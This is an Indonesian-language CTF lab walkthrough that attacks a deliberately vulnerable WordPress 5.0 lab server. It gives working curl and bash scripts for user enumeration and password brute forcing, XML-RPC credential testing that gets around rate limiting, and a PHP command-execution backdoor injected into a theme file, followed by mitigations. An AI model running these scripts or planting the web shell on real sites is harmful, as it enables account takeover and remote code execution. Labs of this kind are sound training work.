TDCTF Academy Logo TDCTF ACADEMY

Lab #3 - WordPress: User Enumeration + Weak Password

Target: http://wp.vuln.cybersecurity.or.id:8082/
Versi: WordPress 5.0 (PHP 7.3, Apache, MySQL)
Tools: curl, wpscan (opsional), browser
Flag: 🔴 FLAG{W0rdPr3ss_Us3r_3num_2025}


Mengapa User Enumeration Berbahaya?

WordPress secara default membocorkan informasi pengguna melalui berbagai mekanisme:

  1. Author Archive - ?author=N mengungkap username
  2. REST API - /wp-json/wp/v2/users/ mengembalikan daftar user
  3. Login Page - pesan error berbeda untuk user valid vs invalid
  4. XML-RPC - bisa digunakan untuk brute force tanpa terdeteksi

Dengan mengetahui username, attacker tinggal melakukan brute force password - terutama jika password lemah seperti 123456, password, atau admin123.


️ Langkah 1: Reconnaissance - Fingerprint WordPress

1.1. Deteksi WordPress

curl -s -I http://wp.vuln.cybersecurity.or.id:8082/ | head -10

Output:

HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.3.2
Link: <http://vuln.cybersecurity.or.id/index.php?rest_route=/>; rel="https://api.w.org/"

Header X-Powered-By: PHP/7.3.2 mengonfirmasi PHP 7.3.
Link rel="https://api.w.org/" adalah ciri khas WordPress.

1.2. Cek Versi WordPress

# Dari meta generator
curl -s http://wp.vuln.cybersecurity.or.id:8082/ | grep "generator"

# Output: <meta name="generator" content="WordPress 5.0" />

# Dari readme.html
curl -s http://wp.vuln.cybersecurity.or.id:8082/readme.html | grep "version"

WordPress 5.0 adalah versi lama (rilis 2018) yang memiliki banyak celah keamanan.


‍‍ Langkah 2: User Enumeration

Ada 3 metode untuk mendapatkan daftar username WordPress.

Metode 1: Author Archive (Paling Mudah)

WordPress memiliki fitur author archive yang bisa diakses via parameter ?author=N:

for i in 1 2 3 4 5 6; do
echo -n "Author $i: "
curl -s "http://wp.vuln.cybersecurity.or.id:8082/?author=$i" | grep -oP '<title>[^<]*</title>'
done

Output:

Author 1: admin
Author 2: author1
Author 3: editor1
Author 4: subscriber1
Author 5: contributor1
Author 6: admin2

✨ Ditemukan 6 username!

Metode 2: REST API

WordPress 5.0 menyediakan REST API endpoint:

curl -s "http://wp.vuln.cybersecurity.or.id:8082/wp-json/wp/v2/users/"

Atau jika URL rewriting tidak aktif:

curl -s "http://wp.vuln.cybersecurity.or.id:8082/index.php?rest_route=/wp/v2/users/"

Output (JSON):

[{"id":1,"name":"admin","slug":"admin",...}]

Catatan: Di WP 5.0, REST API hanya menampilkan user yang memiliki published posts. Tapi author archive tetap menampilkan SEMUA user.

Metode 3: Login Page Error Message

Teknik ini memanfaatkan perbedaan pesan error WordPress:

# Coba login dengan username VALID + password salah
curl -s -d "log=admin&pwd=wrongpass" "http://wp.vuln.cybersecurity.or.id:8082/wp-login.php" | grep "ERROR"

# Output: ERROR: The password you entered for the username admin is incorrect.
# Coba login dengan username TIDAK VALID
curl -s -d "log=nonexistent&pwd=wrongpass" "http://wp.vuln.cybersecurity.or.id:8082/wp-login.php" | grep "ERROR"

# Output: ERROR: Invalid username.

Perbedaannya jelas:

Kondisi Pesan Error
✅ Username valid "The password you entered for the username [user] is incorrect"
❌ Username invalid "Invalid username"

Ini memungkinkan kita melakukan brute force username tanpa tools khusus - cukup deteksi pola pesan error.


Langkah 3: Brute Force Password

3.1. Buat Wordlist Password

Buat file berisi password-password umum yang lemah:

cat > passwords.txt << 'EOF'
123456
password
12345678
qwerty
letmein
admin
wordpress
secret123
welcome
passw0rd
admin123
test
demo
abc123
EOF

3.2. Brute Force via Login Page

USER="author1"
while IFS= read -r pass; do
result=$(curl -s -d "log=$USER&pwd=$pass" "http://wp.vuln.cybersecurity.or.id:8082/wp-login.php")
if ! echo "$result" | grep -q "login_error\|incorrect\|ERROR"; then
echo "[+] PASSWORD FOUND: $USER : $pass"
break
fi
done < passwords.txt

Output:

[+] PASSWORD FOUND: author1 : 123456

Ganti variabel USER untuk user lain:

USER="editor1"
# Output: [+] PASSWORD FOUND: editor1 : password

USER="admin"
# Output: [+] PASSWORD FOUND: admin : admin123

3.3. Alternatif: Brute Force via XML-RPC (Lebih Efisien)

XML-RPC memungkinkan brute force via satu koneksi (multicall):

# Cek ketersediaan XML-RPC
curl -X POST -d '<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
</methodCall>' "http://wp.vuln.cybersecurity.or.id:8082/xmlrpc.php"

XML-RPC menyediakan metode wp.getUsersBlogs yang bisa digunakan untuk validasi kredensial:

curl -X POST -d '<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>admin</string></value></param>
<param><value><string>admin123</string></value></param>
</params>
</methodCall>' "http://wp.vuln.cybersecurity.or.id:8082/xmlrpc.php"

Output sukses: <isAdmin>1</isAdmin>
Output gagal: Incorrect username or password.

Keunggulan XML-RPC multicall: Bisa mencoba ribuan kombinasi user:password dalam satu request HTTP - lebih cepat dan bypass rate limiting berbasis IP.

3.4. Alternatif: wpscan (Tool Khusus WordPress)

Jika wpscan tersedia:

wpscan --url http://wp.vuln.cybersecurity.or.id:8082/ --enumerate u

# Brute force
wpscan --url http://wp.vuln.cybersecurity.or.id:8082/ \
-U admin,author1,editor1 \
-P passwords.txt

Langkah 4: Post-Exploitation

4.1. Login ke Dashboard

Setelah mendapatkan kredensial admin (admin:admin123), login ke:

http://wp.vuln.cybersecurity.or.id:8082/wp-admin/

4.2. Ambil Alih WordPress

Sebagai administrator, kita bisa:

  1. Upload PHP Shell - melalui Theme Editor (Appearance → Theme Editor)
  2. Install Plugin - dengan plugin berbahaya
  3. Edit File Tema - inject backdoor ke 404.php atau functions.php

Upload shell via Theme Editor:

Appearance → Theme Editor → Pilih file (misal 404.php)
Inject kode PHP:
<?php
// Backdoor access
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>

4.3. Ambil Flag

Akses file flag yang sudah disediakan:

http://wp.vuln.cybersecurity.or.id:8082/wp-content/themes/twentynineteen/flag.php

Poin Penting

Mengapa Ini Terjadi?

Masalah Akar Penyebab
User Enumeration WordPress 5.0 tidak membatasi akses ke author archive (?author=N)
Informasi Bocor Login page memberikan pesan error yang berbeda untuk user valid vs invalid
Weak Password Pengguna menggunakan password mudah ditebak

Cara Mitigasi

  1. Batasi author archive - Redirect ?author=N ke halaman 404
  2. Uniform error message - Gunakan plugin yang menyamarkan pesan error login
  3. Terapkan kebijakan password kuat - Minimal 12 karakter dengan kombinasi huruf, angka, simbol
  4. Aktifkan reCAPTCHA pada halaman login
  5. Batasi percobaan login - Limit 3-5 attempt sebelum lockout sementara
  6. Nonaktifkan XML-RPC jika tidak diperlukan
  7. Update WordPress ke versi terbaru + semua plugin

Kesimpulan

Target: WordPress 5.0 di vuln.cybersecurity.or.id:8082
Teknik: User Enumeration (author archive) → Brute Force (login page)
Flag: FLAG{W0rdPr3ss_Us3r_3num_2025}
Durasi: ~5 menit

Urutan serangan:

  1. ?author=N → menemukan 6 username
  2. curl -d "log=USER&pwd=PASS" → brute force password lemah
  3. Login admin → inject flag via theme

🔥 Pelajaran: Jangan pernah meremehkan user enumeration. Dengan hanya modal username, seorang attacker bisa masuk hanya dalam hitungan menit jika password lemah. Selalu gunakan password manager dan aktifkan 2FA!


Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI